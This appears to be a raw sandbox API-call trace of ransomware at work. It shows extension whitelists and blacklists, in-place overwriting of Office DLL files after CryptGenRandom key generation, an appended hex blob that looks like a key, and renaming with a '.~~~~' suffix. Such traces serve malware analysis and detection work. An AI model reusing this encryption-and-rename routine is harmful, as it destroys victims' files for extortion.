	[0079.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0079.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0079.251] GetLastError () returned 0x0
	[0079.251] RtlWakeConditionVariable () returned 0x365f70
	[0079.252] GetCurrentThreadId () returned 0x9f4
	[0079.252] GetCurrentThreadId () returned 0x9f4
	[0079.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0079.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb110 | out: hHeap=0x300000) returned 1
	[0079.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b598 | out: hHeap=0x300000) returned 1
	[0079.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb110
	[0079.252] lstrlenW (lpString=".scr") returned 4
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".scr") returned 0x0
	[0079.252] lstrlenW (lpString=".cmd") returned 4
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".cmd") returned 0x0
	[0079.252] lstrlenW (lpString=".dll") returned 4
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".dll") returned 0x0
	[0079.252] lstrlenW (lpString=".bat") returned 4
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".bat") returned 0x0
	[0079.252] lstrlenW (lpString=".cpl") returned 4
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".cpl") returned 0x0
	[0079.252] lstrlenW (lpString=".sys") returned 4
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".sys") returned 0x0
	[0079.252] lstrlenW (lpString=".msc") returned 4
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".msc") returned 0x0
	[0079.252] lstrlenW (lpString=".com") returned 4
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".com") returned 0x0
	[0079.252] lstrlenW (lpString=".lnk") returned 4
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".lnk") returned 0x0
	[0079.252] lstrlenW (lpString=".msp") returned 4
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".msp") returned 0x0
	[0079.252] lstrlenW (lpString=".pif") returned 4
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".pif") returned 0x0
	[0079.252] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0079.253] lstrlenW (lpString=".sqb") returned 4
	[0079.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".sqb") returned 0x0
	[0079.253] lstrlenW (lpString=".ost") returned 4
	[0079.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".ost") returned 0x0
	[0079.253] lstrlenW (lpString=".txt") returned 4
	[0079.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".txt") returned 0x0
	[0079.253] lstrlenW (lpString=".mdt") returned 4
	[0079.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".mdt") returned 0x0
	[0079.253] lstrlenW (lpString=".BDB") returned 4
	[0079.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".BDB") returned 0x0
	[0079.253] lstrlenW (lpString=".eql") returned 4
	[0079.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".eql") returned 0x0
	[0079.253] lstrlenW (lpString=".DBF") returned 4
	[0079.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".DBF") returned 0x0
	[0079.253] lstrlenW (lpString=".EQL") returned 4
	[0079.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".EQL") returned 0x0
	[0079.253] lstrlenW (lpString=".FDB") returned 4
	[0079.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".FDB") returned 0x0
	[0079.253] lstrlenW (lpString=".EDB") returned 4
	[0079.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".EDB") returned 0x0
	[0079.253] lstrlenW (lpString=".DACPAC") returned 7
	[0079.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.253] lstrlenW (lpString=".VHD") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".VHD") returned 0x0
	[0079.254] lstrlenW (lpString=".DBV") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".DBV") returned 0x0
	[0079.254] lstrlenW (lpString=".dacpac") returned 7
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".dacpac") returned 0x0
	[0079.254] lstrlenW (lpString=".sdf") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".sdf") returned 0x0
	[0079.254] lstrlenW (lpString=".accdb") returned 6
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".accdb") returned 0x0
	[0079.254] lstrlenW (lpString=".DBX") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".DBX") returned 0x0
	[0079.254] lstrlenW (lpString=".MDT") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".MDT") returned 0x0
	[0079.254] lstrlenW (lpString=".SQB") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".SQB") returned 0x0
	[0079.254] lstrlenW (lpString=".vhd") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".vhd") returned 0x0
	[0079.254] lstrlenW (lpString=".bac") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".bac") returned 0x0
	[0079.254] lstrlenW (lpString=".mdf") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".mdf") returned 0x0
	[0079.254] lstrlenW (lpString=".BAK") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".BAK") returned 0x0
	[0079.254] lstrlenW (lpString=".BAC") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".BAC") returned 0x0
	[0079.254] lstrlenW (lpString=".dbs") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".dbs") returned 0x0
	[0079.254] lstrlenW (lpString=".vhdx") returned 5
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".vhdx") returned 0x0
	[0079.254] lstrlenW (lpString=".NDF") returned 4
	[0079.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".NDF") returned 0x0
	[0079.254] lstrlenW (lpString=".dat") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".dat") returned 0x0
	[0079.255] lstrlenW (lpString=".DBS") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".DBS") returned 0x0
	[0079.255] lstrlenW (lpString=".CKP") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".CKP") returned 0x0
	[0079.255] lstrlenW (lpString=".edb") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".edb") returned 0x0
	[0079.255] lstrlenW (lpString=".PST") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".PST") returned 0x0
	[0079.255] lstrlenW (lpString=".dbf") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".dbf") returned 0x0
	[0079.255] lstrlenW (lpString=".SQL") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".SQL") returned 0x0
	[0079.255] lstrlenW (lpString=".pst") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".pst") returned 0x0
	[0079.255] lstrlenW (lpString=".dbv") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".dbv") returned 0x0
	[0079.255] lstrlenW (lpString=".SDF") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".SDF") returned 0x0
	[0079.255] lstrlenW (lpString=".dtxs") returned 5
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".dtxs") returned 0x0
	[0079.255] lstrlenW (lpString=".db3") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".db3") returned 0x0
	[0079.255] lstrlenW (lpString=".OST") returned 4
	[0079.255] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".OST") returned 0x0
	[0079.256] lstrlenW (lpString=".dbx") returned 4
	[0079.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".dbx") returned 0x0
	[0079.256] lstrlenW (lpString=".DB3") returned 4
	[0079.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".DB3") returned 0x0
	[0079.256] lstrlenW (lpString=".DAT") returned 4
	[0079.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".DAT") returned 0x0
	[0079.256] lstrlenW (lpString=".VHDX") returned 5
	[0079.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".VHDX") returned 0x0
	[0079.256] lstrlenW (lpString=".ndf") returned 4
	[0079.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".ndf") returned 0x0
	[0079.256] lstrlenW (lpString=".DB") returned 3
	[0079.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".DB") returned 0x0
	[0079.256] lstrlenW (lpString=".sql") returned 4
	[0079.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".sql") returned 0x0
	[0079.256] lstrlenW (lpString=".MYD") returned 4
	[0079.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".MYD") returned 0x0
	[0079.256] lstrlenW (lpString=".DBT") returned 4
	[0079.256] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".DBT") returned 0x0
	[0079.352] lstrlenW (lpString=".ACCDB") returned 6
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.352] lstrlenW (lpString=".fdb") returned 4
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".fdb") returned 0x0
	[0079.352] lstrlenW (lpString=".bak") returned 4
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".bak") returned 0x0
	[0079.352] lstrlenW (lpString=".myd") returned 4
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".myd") returned 0x0
	[0079.352] lstrlenW (lpString=".DTXS") returned 5
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".DTXS") returned 0x0
	[0079.352] lstrlenW (lpString=".ckp") returned 4
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".ckp") returned 0x0
	[0079.352] lstrlenW (lpString=".dbt") returned 4
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".dbt") returned 0x0
	[0079.352] lstrlenW (lpString=".db") returned 3
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".db") returned 0x0
	[0079.352] lstrlenW (lpString=".TXT") returned 4
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".TXT") returned 0x0
	[0079.352] lstrlenW (lpString=".MDF") returned 4
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".MDF") returned 0x0
	[0079.352] lstrlenW (lpString=".bdb") returned 4
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".bdb") returned 0x0
	[0079.352] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.352] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0079.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.353] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0079.353] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.354] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0079.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0079.354] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19934382846) returned 1
	[0079.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x992970f0, dwHighDateTime=0x1d60e1e)) 
	[0079.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0079.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0079.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0079.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b6b0
	[0079.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b6b0 | out: hHeap=0x300000) returned 1
	[0079.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0079.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6fe8
	[0079.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0079.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fafe0
	[0079.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0079.354] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0079.354] GetLastError () returned 0x0
	[0079.355] GetLastError () returned 0x0
	[0079.355] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0079.355] GetLastError () returned 0x0
	[0079.355] GetLastError () returned 0x0
	[0079.355] ReadFile (in: hFile=0x134, lpBuffer=0x2856fe8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2856fe8*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.380] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.380] WriteFile (in: hFile=0x134, lpBuffer=0x2856fe8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2856fe8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0079.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2856fe8 | out: hHeap=0x300000) returned 1
	[0079.382] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.382] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.400] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.400] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.401] CloseHandle (hObject=0x134) returned 1
	[0079.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6fe8
	[0079.402] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEODBC.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceodbc.dll.~~~~")) returned 1
	[0079.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6fe8 | out: hHeap=0x300000) returned 1
	[0079.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0079.403] GetLastError () returned 0x0
	[0079.403] RtlWakeConditionVariable () returned 0x365f70
	[0079.403] GetCurrentThreadId () returned 0x9f4
	[0079.403] GetCurrentThreadId () returned 0x9f4
	[0079.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0079.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb2d8 | out: hHeap=0x300000) returned 1
	[0079.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b720 | out: hHeap=0x300000) returned 1
	[0079.403] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb2d8
	[0079.403] lstrlenW (lpString=".scr") returned 4
	[0079.403] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".scr") returned 0x0
	[0079.403] lstrlenW (lpString=".cmd") returned 4
	[0079.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".cmd") returned 0x0
	[0079.404] lstrlenW (lpString=".dll") returned 4
	[0079.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".dll") returned 0x0
	[0079.404] lstrlenW (lpString=".bat") returned 4
	[0079.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".bat") returned 0x0
	[0079.404] lstrlenW (lpString=".cpl") returned 4
	[0079.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".cpl") returned 0x0
	[0079.404] lstrlenW (lpString=".sys") returned 4
	[0079.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".sys") returned 0x0
	[0079.404] lstrlenW (lpString=".msc") returned 4
	[0079.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".msc") returned 0x0
	[0079.404] lstrlenW (lpString=".com") returned 4
	[0079.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".com") returned 0x0
	[0079.404] lstrlenW (lpString=".lnk") returned 4
	[0079.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".lnk") returned 0x0
	[0079.404] lstrlenW (lpString=".msp") returned 4
	[0079.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".msp") returned 0x0
	[0079.404] lstrlenW (lpString=".pif") returned 4
	[0079.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".pif") returned 0x0
	[0079.404] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.404] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acerep.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0079.405] lstrlenW (lpString=".sqb") returned 4
	[0079.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".sqb") returned 0x0
	[0079.405] lstrlenW (lpString=".ost") returned 4
	[0079.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".ost") returned 0x0
	[0079.405] lstrlenW (lpString=".txt") returned 4
	[0079.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".txt") returned 0x0
	[0079.405] lstrlenW (lpString=".mdt") returned 4
	[0079.405] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEREP.DLL", lpSrch=".mdt") returned 0x0
